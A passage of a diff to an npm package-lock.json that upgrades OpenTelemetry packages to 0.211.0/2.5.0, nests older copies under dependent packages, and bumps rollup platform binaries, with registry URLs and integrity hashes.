"sha512-1pNQf/JazQTMA0BiO5NINUzH0cbLbbl7mntLa4aJNmCCXSj0q03T5ZXXL0zw4G55TjdL9Tz32cznGClf+8zr5A==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.2.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, "node_modules/@opentelemetry/exporter-trace-otlp-grpc/node_modules/@opentelemetry/sdk-logs": { "version": "0.207.0", "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-logs/-/sdk-logs-0.207.0.tgz", @@ -13569,18 +13988,51 @@ "@opentelemetry/api": ">=1.4.0 <1.10.0" } }, + "node_modules/@opentelemetry/exporter-trace-otlp-grpc/node_modules/@opentelemetry/sdk-metrics": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-metrics/-/sdk-metrics-2.2.0.tgz", + "integrity": "sha512-G5KYP6+VJMZzpGipQw7Giif48h6SGQ2PFKEYCybeXJsOCB4fp8azqMAAzE5lnnHK3ZVwYQrgmFbsUJO/zOnwGw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.2.0", + "@opentelemetry/resources": "2.2.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.9.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/exporter-trace-otlp-grpc/node_modules/@opentelemetry/sdk-trace-base": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.2.0.tgz", + "integrity": "sha512-xWQgL0Bmctsalg6PaXExmzdedSp3gyKV8mQBwK/j9VGdCDu2fmXIb2gAehBKbkXCpJ4HPkgv3QfoJWRT4dHWbw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.2.0", + "@opentelemetry/resources": "2.2.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, "node_modules/@opentelemetry/exporter-trace-otlp-http": { - "version": "0.208.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-trace-otlp-http/-/exporter-trace-otlp-http-0.208.0.tgz", - "integrity": "sha512-jbzDw1q+BkwKFq9yxhjAJ9rjKldbt5AgIy1gmEIJjEV/WRxQ3B6HcLVkwbjJ3RcMif86BDNKR846KJ0tY0aOJA==", + "version": "0.211.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-trace-otlp-http/-/exporter-trace-otlp-http-0.211.0.tgz", + "integrity": "sha512-F1Rv3JeMkgS//xdVjbQMrI3+26e5SXC7vXA6trx8SWEA0OUhw4JHB+qeHtH0fJn46eFItrYbL5m8j4qi9Sfaxw==", "license": "Apache-2.0", "peer": true, "dependencies": { - "@opentelemetry/core": "2.2.0", - "@opentelemetry/otlp-exporter-base": "0.208.0", - "@opentelemetry/otlp-transformer": "0.208.0", - "@opentelemetry/resources": "2.2.0", - "@opentelemetry/sdk-trace-base": "2.2.0" + "@opentelemetry/core": "2.5.0", + "@opentelemetry/otlp-exporter-base": "0.211.0", + "@opentelemetry/otlp-transformer": "0.211.0", + "@opentelemetry/resources": "2.5.0", + "@opentelemetry/sdk-trace-base": "2.5.0" }, "engines": { "node": "^18.19.0 || >=20.6.0" @@ -13620,6 +14072,21 @@ "node": ">=8.0.0" } }, + "node_modules/@opentelemetry/exporter-trace-otlp-proto/node_modules/@opentelemetry/core": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.2.0.tgz", + "integrity": "sha512-FuabnnUm8LflnieVxs6eP7Z383hgQU4W1e3KJS6aOG3RxWxcHyBxH8fDMHNgu/gFx/M2jvTOW/4/PHhLz6bjWw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, "node_modules/@opentelemetry/exporter-trace-otlp-proto/node_modules/@opentelemetry/otlp-exporter-base": { "version": "0.207.0", "resolved": "https://registry.npmjs.org/@opentelemetry/otlp-exporter-base/-/otlp-exporter-base-0.207.0.tgz", @@ -13657,6 +14124,22 @@ "@opentelemetry/api": "^1.3.0" } }, + "node_modules/@opentelemetry/exporter-trace-otlp-proto/node_modules/@opentelemetry/resources": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.2.0.tgz", + "integrity": "sha512-1pNQf/JazQTMA0BiO5NINUzH0cbLbbl7mntLa4aJNmCCXSj0q03T5ZXXL0zw4G55TjdL9Tz32cznGClf+8zr5A==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.2.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, "node_modules/@opentelemetry/exporter-trace-otlp-proto/node_modules/@opentelemetry/sdk-logs": { "version": "0.207.0", "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-logs/-/sdk-logs-0.207.0.tgz", @@ -13674,6 +14157,39 @@ "@opentelemetry/api": ">=1.4.0 <1.10.0" } }, + "node_modules/@opentelemetry/exporter-trace-otlp-proto/node_modules/@opentelemetry/sdk-metrics": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-metrics/-/sdk-metrics-2.2.0.tgz", + "integrity": "sha512-G5KYP6+VJMZzpGipQw7Giif48h6SGQ2PFKEYCybeXJsOCB4fp8azqMAAzE5lnnHK3ZVwYQrgmFbsUJO/zOnwGw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.2.0", + "@opentelemetry/resources": "2.2.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.9.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/exporter-trace-otlp-proto/node_modules/@opentelemetry/sdk-trace-base": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.2.0.tgz", + "integrity": "sha512-xWQgL0Bmctsalg6PaXExmzdedSp3gyKV8mQBwK/j9VGdCDu2fmXIb2gAehBKbkXCpJ4HPkgv3QfoJWRT4dHWbw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.2.0", + "@opentelemetry/resources": "2.2.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, "node_modules/@opentelemetry/exporter-zipkin": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-zipkin/-/exporter-zipkin-2.2.0.tgz", @@ -13692,6 +14208,54 @@ "@opentelemetry/api": "^1.0.0" } }, + "node_modules/@opentelemetry/exporter-zipkin/node_modules/@opentelemetry/core": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.2.0.tgz", + "integrity": "sha512-FuabnnUm8LflnieVxs6eP7Z383hgQU4W1e3KJS6aOG3RxWxcHyBxH8fDMHNgu/gFx/M2jvTOW/4/PHhLz6bjWw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/exporter-zipkin/node_modules/@opentelemetry/resources": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.2.0.tgz", + "integrity": "sha512-1pNQf/JazQTMA0BiO5NINUzH0cbLbbl7mntLa4aJNmCCXSj0q03T5ZXXL0zw4G55TjdL9Tz32cznGClf+8zr5A==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.2.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/exporter-zipkin/node_modules/@opentelemetry/sdk-trace-base": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.2.0.tgz", + "integrity": "sha512-xWQgL0Bmctsalg6PaXExmzdedSp3gyKV8mQBwK/j9VGdCDu2fmXIb2gAehBKbkXCpJ4HPkgv3QfoJWRT4dHWbw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.2.0", + "@opentelemetry/resources": "2.2.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, "node_modules/@opentelemetry/instrumentation": { "version": "0.207.0", "resolved": "https://registry.npmjs.org/@opentelemetry/instrumentation/-/instrumentation-0.207.0.tgz", @@ -13722,14 +14286,14 @@ } }, "node_modules/@opentelemetry/otlp-exporter-base": { - "version": "0.208.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/otlp-exporter-base/-/otlp-exporter-base-0.208.0.tgz", - "integrity": "sha512-gMd39gIfVb2OgxldxUtOwGJYSH8P1kVFFlJLuut32L6KgUC4gl1dMhn+YC2mGn0bDOiQYSk/uHOdSjuKp58vvA==", + "version": "0.211.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/otlp-exporter-base/-/otlp-exporter-base-0.211.0.tgz", + "integrity": "sha512-bp1+63V8WPV+bRI9EQG6E9YID1LIHYSZVbp7f+44g9tRzCq+rtw/o4fpL5PC31adcUsFiz/oN0MdLISSrZDdrg==", "license": "Apache-2.0", "peer": true, "dependencies": { - "@opentelemetry/core": "2.2.0", - "@opentelemetry/otlp-transformer": "0.208.0" + "@opentelemetry/core": "2.5.0", + "@opentelemetry/otlp-transformer": "0.211.0" }, "engines": { "node": "^18.19.0 || >=20.6.0" @@ -13768,6 +14332,21 @@ "node": ">=8.0.0" } }, + "node_modules/@opentelemetry/otlp-grpc-exporter-base/node_modules/@opentelemetry/core": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.2.0.tgz", + "integrity": "sha512-FuabnnUm8LflnieVxs6eP7Z383hgQU4W1e3KJS6aOG3RxWxcHyBxH8fDMHNgu/gFx/M2jvTOW/4/PHhLz6bjWw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, "node_modules/@opentelemetry/otlp-grpc-exporter-base/node_modules/@opentelemetry/otlp-exporter-base": { "version": "0.207.0", "resolved": "https://registry.npmjs.org/@opentelemetry/otlp-exporter-base/-/otlp-exporter-base-0.207.0.tgz", @@ -13805,6 +14384,22 @@ "@opentelemetry/api": "^1.3.0" } }, + "node_modules/@opentelemetry/otlp-grpc-exporter-base/node_modules/@opentelemetry/resources": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.2.0.tgz", + "integrity": "sha512-1pNQf/JazQTMA0BiO5NINUzH0cbLbbl7mntLa4aJNmCCXSj0q03T5ZXXL0zw4G55TjdL9Tz32cznGClf+8zr5A==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.2.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, "node_modules/@opentelemetry/otlp-grpc-exporter-base/node_modules/@opentelemetry/sdk-logs": { "version": "0.207.0", "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-logs/-/sdk-logs-0.207.0.tgz", @@ -13822,20 +14417,53 @@ "@opentelemetry/api": ">=1.4.0 <1.10.0" } }, + "node_modules/@opentelemetry/otlp-grpc-exporter-base/node_modules/@opentelemetry/sdk-metrics": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-metrics/-/sdk-metrics-2.2.0.tgz", + "integrity": "sha512-G5KYP6+VJMZzpGipQw7Giif48h6SGQ2PFKEYCybeXJsOCB4fp8azqMAAzE5lnnHK3ZVwYQrgmFbsUJO/zOnwGw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.2.0", + "@opentelemetry/resources": "2.2.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.9.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/otlp-grpc-exporter-base/node_modules/@opentelemetry/sdk-trace-base": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.2.0.tgz", + "integrity": "sha512-xWQgL0Bmctsalg6PaXExmzdedSp3gyKV8mQBwK/j9VGdCDu2fmXIb2gAehBKbkXCpJ4HPkgv3QfoJWRT4dHWbw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.2.0", + "@opentelemetry/resources": "2.2.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, "node_modules/@opentelemetry/otlp-transformer": { - "version": "0.208.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/otlp-transformer/-/otlp-transformer-0.208.0.tgz", - "integrity": "sha512-DCFPY8C6lAQHUNkzcNT9R+qYExvsk6C5Bto2pbNxgicpcSWbe2WHShLxkOxIdNcBiYPdVHv/e7vH7K6TI+C+fQ==", + "version": "0.211.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/otlp-transformer/-/otlp-transformer-0.211.0.tgz", + "integrity": "sha512-julhCJ9dXwkOg9svuuYqqjXLhVaUgyUvO2hWbTxwjvLXX2rG3VtAaB0SzxMnGTuoCZizBT7Xqqm2V7+ggrfCXA==", "license": "Apache-2.0", "peer": true, "dependencies": { - "@opentelemetry/api-logs": "0.208.0", - "@opentelemetry/core": "2.2.0", - "@opentelemetry/resources": "2.2.0", - "@opentelemetry/sdk-logs": "0.208.0", - "@opentelemetry/sdk-metrics": "2.2.0", - "@opentelemetry/sdk-trace-base": "2.2.0", - "protobufjs": "^7.3.0" + "@opentelemetry/api-logs": "0.211.0", + "@opentelemetry/core": "2.5.0", + "@opentelemetry/resources": "2.5.0", + "@opentelemetry/sdk-logs": "0.211.0", + "@opentelemetry/sdk-metrics": "2.5.0", + "@opentelemetry/sdk-trace-base": "2.5.0", + "protobufjs": "8.0.0" }, "engines": { "node": "^18.19.0 || >=20.6.0" @@ -13844,6 +14472,31 @@ "@opentelemetry/api": "^1.3.0" } }, + "node_modules/@opentelemetry/otlp-transformer/node_modules/protobufjs": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/protobufjs/-/protobufjs-8.0.0.tgz", + "integrity": "sha512-jx6+sE9h/UryaCZhsJWbJtTEy47yXoGNYI4z8ZaRncM0zBKeRqjO2JEcOUYwrYGb1WLhXM1FfMzW3annvFv0rw==", + "hasInstallScript": true, + "license": "BSD-3-Clause", + "peer": true, + "dependencies": { + "@protobufjs/aspromise": "^1.1.2", + "@protobufjs/base64": "^1.1.2", + "@protobufjs/codegen": "^2.0.4", + "@protobufjs/eventemitter": "^1.1.0", + "@protobufjs/fetch": "^1.1.0", + "@protobufjs/float": "^1.0.2", + "@protobufjs/inquire": "^1.1.0", + "@protobufjs/path": "^1.1.2", + "@protobufjs/pool": "^1.1.0", + "@protobufjs/utf8": "^1.1.0", + "@types/node": ">=13.7.0", + "long": "^5.0.0" + }, + "engines": { + "node": ">=12.0.0" + } + }, "node_modules/@opentelemetry/propagator-b3": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/@opentelemetry/propagator-b3/-/propagator-b3-2.2.0.tgz", @@ -13859,6 +14512,21 @@ "@opentelemetry/api": ">=1.0.0 <1.10.0" } }, + "node_modules/@opentelemetry/propagator-b3/node_modules/@opentelemetry/core": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.2.0.tgz", + "integrity": "sha512-FuabnnUm8LflnieVxs6eP7Z383hgQU4W1e3KJS6aOG3RxWxcHyBxH8fDMHNgu/gFx/M2jvTOW/4/PHhLz6bjWw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, "node_modules/@opentelemetry/propagator-jaeger": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/@opentelemetry/propagator-jaeger/-/propagator-jaeger-2.2.0.tgz", @@ -13874,13 +14542,29 @@ "@opentelemetry/api": ">=1.0.0 <1.10.0" } }, - "node_modules/@opentelemetry/resources": { + "node_modules/@opentelemetry/propagator-jaeger/node_modules/@opentelemetry/core": { "version": "2.2.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.2.0.tgz", - "integrity": "sha512-1pNQf/JazQTMA0BiO5NINUzH0cbLbbl7mntLa4aJNmCCXSj0q03T5ZXXL0zw4G55TjdL9Tz32cznGClf+8zr5A==", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.2.0.tgz", + "integrity": "sha512-FuabnnUm8LflnieVxs6eP7Z383hgQU4W1e3KJS6aOG3RxWxcHyBxH8fDMHNgu/gFx/M2jvTOW/4/PHhLz6bjWw==", "license": "Apache-2.0", "dependencies": { - "@opentelemetry/core": "2.2.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/resources": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.5.0.tgz", + "integrity": "sha512-F8W52ApePshpoSrfsSk1H2yJn9aKjCrbpQF1M9Qii0GHzbfVeFUB+rc3X4aggyZD8x9Gu3Slua+s6krmq6Dt8g==", + "license": "Apache-2.0", + "peer": true, + "dependencies": { + "@opentelemetry/core": "2.5.0", "@opentelemetry/semantic-conventions": "^1.29.0" }, "engines": { @@ -13891,15 +14575,15 @@ } }, "node_modules/@opentelemetry/sdk-logs": { - "version": "0.208.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-logs/-/sdk-logs-0.208.0.tgz", - "integrity": "sha512-QlAyL1jRpOeaqx7/leG1vJMp84g0xKP6gJmfELBpnI4O/9xPX+Hu5m1POk9Kl+veNkyth5t19hRlN6tNY1sjbA==", + "version": "0.211.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-logs/-/sdk-logs-0.211.0.tgz", + "integrity": "sha512-O5nPwzgg2JHzo59kpQTPUOTzFi0Nv5LxryG27QoXBciX3zWM3z83g+SNOHhiQVYRWFSxoWn1JM2TGD5iNjOwdA==", "license": "Apache-2.0", "peer": true, "dependencies": { - "@opentelemetry/api-logs": "0.208.0", - "@opentelemetry/core": "2.2.0", - "@opentelemetry/resources": "2.2.0" + "@opentelemetry/api-logs": "0.211.0", + "@opentelemetry/core": "2.5.0", + "@opentelemetry/resources": "2.5.0" }, "engines": { "node": "^18.19.0 || >=20.6.0" @@ -13909,13 +14593,14 @@ } }, "node_modules/@opentelemetry/sdk-metrics": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-metrics/-/sdk-metrics-2.2.0.tgz", - "integrity": "sha512-G5KYP6+VJMZzpGipQw7Giif48h6SGQ2PFKEYCybeXJsOCB4fp8azqMAAzE5lnnHK3ZVwYQrgmFbsUJO/zOnwGw==", + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-metrics/-/sdk-metrics-2.5.0.tgz", + "integrity": "sha512-BeJLtU+f5Gf905cJX9vXFQorAr6TAfK3SPvTFqP+scfIpDQEJfRaGJWta7sJgP+m4dNtBf9y3yvBKVAZZtJQVA==", "license": "Apache-2.0", + "peer": true, "dependencies": { - "@opentelemetry/core": "2.2.0", - "@opentelemetry/resources": "2.2.0" + "@opentelemetry/core": "2.5.0", + "@opentelemetry/resources": "2.5.0" }, "engines": { "node": "^18.19.0 || >=20.6.0" @@ -13972,6 +14657,21 @@ "node": ">=8.0.0" } }, + "node_modules/@opentelemetry/sdk-node/node_modules/@opentelemetry/core": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.2.0.tgz", + "integrity": "sha512-FuabnnUm8LflnieVxs6eP7Z383hgQU4W1e3KJS6aOG3RxWxcHyBxH8fDMHNgu/gFx/M2jvTOW/4/PHhLz6bjWw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, "node_modules/@opentelemetry/sdk-node/node_modules/@opentelemetry/exporter-trace-otlp-http": { "version": "0.207.0", "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-trace-otlp-http/-/exporter-trace-otlp-http-0.207.0.tgz", @@ -14028,6 +14728,22 @@ "@opentelemetry/api": "^1.3.0" } }, + "node_modules/@opentelemetry/sdk-node/node_modules/@opentelemetry/resources": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.2.0.tgz", + "integrity": "sha512-1pNQf/JazQTMA0BiO5NINUzH0cbLbbl7mntLa4aJNmCCXSj0q03T5ZXXL0zw4G55TjdL9Tz32cznGClf+8zr5A==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.2.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, "node_modules/@opentelemetry/sdk-node/node_modules/@opentelemetry/sdk-logs": { "version": "0.207.0", "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-logs/-/sdk-logs-0.207.0.tgz", @@ -14045,7 +14761,23 @@ "@opentelemetry/api": ">=1.4.0 <1.10.0" } }, - "node_modules/@opentelemetry/sdk-trace-base": { + "node_modules/@opentelemetry/sdk-node/node_modules/@opentelemetry/sdk-metrics": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-metrics/-/sdk-metrics-2.2.0.tgz", + "integrity": "sha512-G5KYP6+VJMZzpGipQw7Giif48h6SGQ2PFKEYCybeXJsOCB4fp8azqMAAzE5lnnHK3ZVwYQrgmFbsUJO/zOnwGw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.2.0", + "@opentelemetry/resources": "2.2.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.9.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/sdk-node/node_modules/@opentelemetry/sdk-trace-base": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.2.0.tgz", "integrity": "sha512-xWQgL0Bmctsalg6PaXExmzdedSp3gyKV8mQBwK/j9VGdCDu2fmXIb2gAehBKbkXCpJ4HPkgv3QfoJWRT4dHWbw==", @@ -14062,6 +14794,24 @@ "@opentelemetry/api": ">=1.3.0 <1.10.0" } }, + "node_modules/@opentelemetry/sdk-trace-base": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.5.0.tgz", + "integrity": "sha512-VzRf8LzotASEyNDUxTdaJ9IRJ1/h692WyArDBInf5puLCjxbICD6XkHgpuudis56EndyS7LYFmtTMny6UABNdQ==", + "license": "Apache-2.0", + "peer": true, + "dependencies": { + "@opentelemetry/core": "2.5.0", + "@opentelemetry/resources": "2.5.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, "node_modules/@opentelemetry/sdk-trace-node": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-node/-/sdk-trace-node-2.2.0.tgz", @@ -14079,10 +14829,58 @@ "@opentelemetry/api": ">=1.0.0 <1.10.0" } }, + "node_modules/@opentelemetry/sdk-trace-node/node_modules/@opentelemetry/core": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.2.0.tgz", + "integrity": "sha512-FuabnnUm8LflnieVxs6eP7Z383hgQU4W1e3KJS6aOG3RxWxcHyBxH8fDMHNgu/gFx/M2jvTOW/4/PHhLz6bjWw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/sdk-trace-node/node_modules/@opentelemetry/resources": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.2.0.tgz", + "integrity": "sha512-1pNQf/JazQTMA0BiO5NINUzH0cbLbbl7mntLa4aJNmCCXSj0q03T5ZXXL0zw4G55TjdL9Tz32cznGClf+8zr5A==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.2.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/sdk-trace-node/node_modules/@opentelemetry/sdk-trace-base": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.2.0.tgz", + "integrity": "sha512-xWQgL0Bmctsalg6PaXExmzdedSp3gyKV8mQBwK/j9VGdCDu2fmXIb2gAehBKbkXCpJ4HPkgv3QfoJWRT4dHWbw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.2.0", + "@opentelemetry/resources": "2.2.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, "node_modules/@opentelemetry/semantic-conventions": { - "version": "1.38.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/semantic-conventions/-/semantic-conventions-1.38.0.tgz", - "integrity": "sha512-kocjix+/sSggfJhwXqClZ3i9Y/MI0fp7b+g7kCRm6psy2dsf8uApTRclwG18h8Avm7C9+fnt+O36PspJ/OzoWg==", + "version": "1.39.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/semantic-conventions/-/semantic-conventions-1.39.0.tgz", + "integrity": "sha512-R5R9tb2AXs2IRLNKLBJDynhkfmx7mX0vi8NkhZb3gUkPWHn6HXk5J8iQ/dql0U3ApfWym4kXXmBDRGO+oeOfjg==", "license": "Apache-2.0", "engines": { "node": ">=14" @@ -18150,6 +18948,13 @@ } } }, + "node_modules/@rolldown/pluginutils": { + "version": "1.0.0-rc.3", + "resolved": "https://registry.npmjs.org/@rolldown/pluginutils/-/pluginutils-1.0.0-rc.3.tgz", + "integrity": "sha512-eybk3TjzzzV97Dlj5c+XrBFW57eTNhzod66y9HrBlzJ6NsCrWCp/2kaPS3K9wJmurBC0Tdw4yPjXKZqlznim3Q==", + "dev": true, + "license": "MIT" + }, "node_modules/@rollup/plugin-alias": { "version": "5.1.0", "resolved": "https://registry.npmjs.org/@rollup/plugin-alias/-/plugin-alias-5.1.0.tgz", @@ -18388,9 +19193,9 @@ } }, "node_modules/@rollup/rollup-android-arm-eabi": { - "version": "4.37.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.37.0.tgz", - "integrity": "sha512-l7StVw6WAa8l3vA1ov80jyetOAEo1FtHvZDbzXDO/02Sq/QVvqlHkYoFwDJPIMj0GKiistsBudfx5tGFnwYWDQ==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.59.0.tgz", + "integrity": "sha512-upnNBkA6ZH2VKGcBj9Fyl9IGNPULcjXRlg0LLeaioQWueH30p6IXtJEbKAgvyv+mJaMxSm1l6xwDXYjpEMiLMg==", "cpu": [ "arm" ], @@ -18402,9 +19207,9 @@ ] }, "node_modules/@rollup/rollup-android-arm64": { - "version": "4.37.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.37.0.tgz", - "integrity": "sha512-6U3SlVyMxezt8Y+/iEBcbp945uZjJwjZimu76xoG7tO1av9VO691z8PkhzQ85ith2I8R2RddEPeSfcbyPfD4hA==", + "version": "4.59.0", + "resolved": 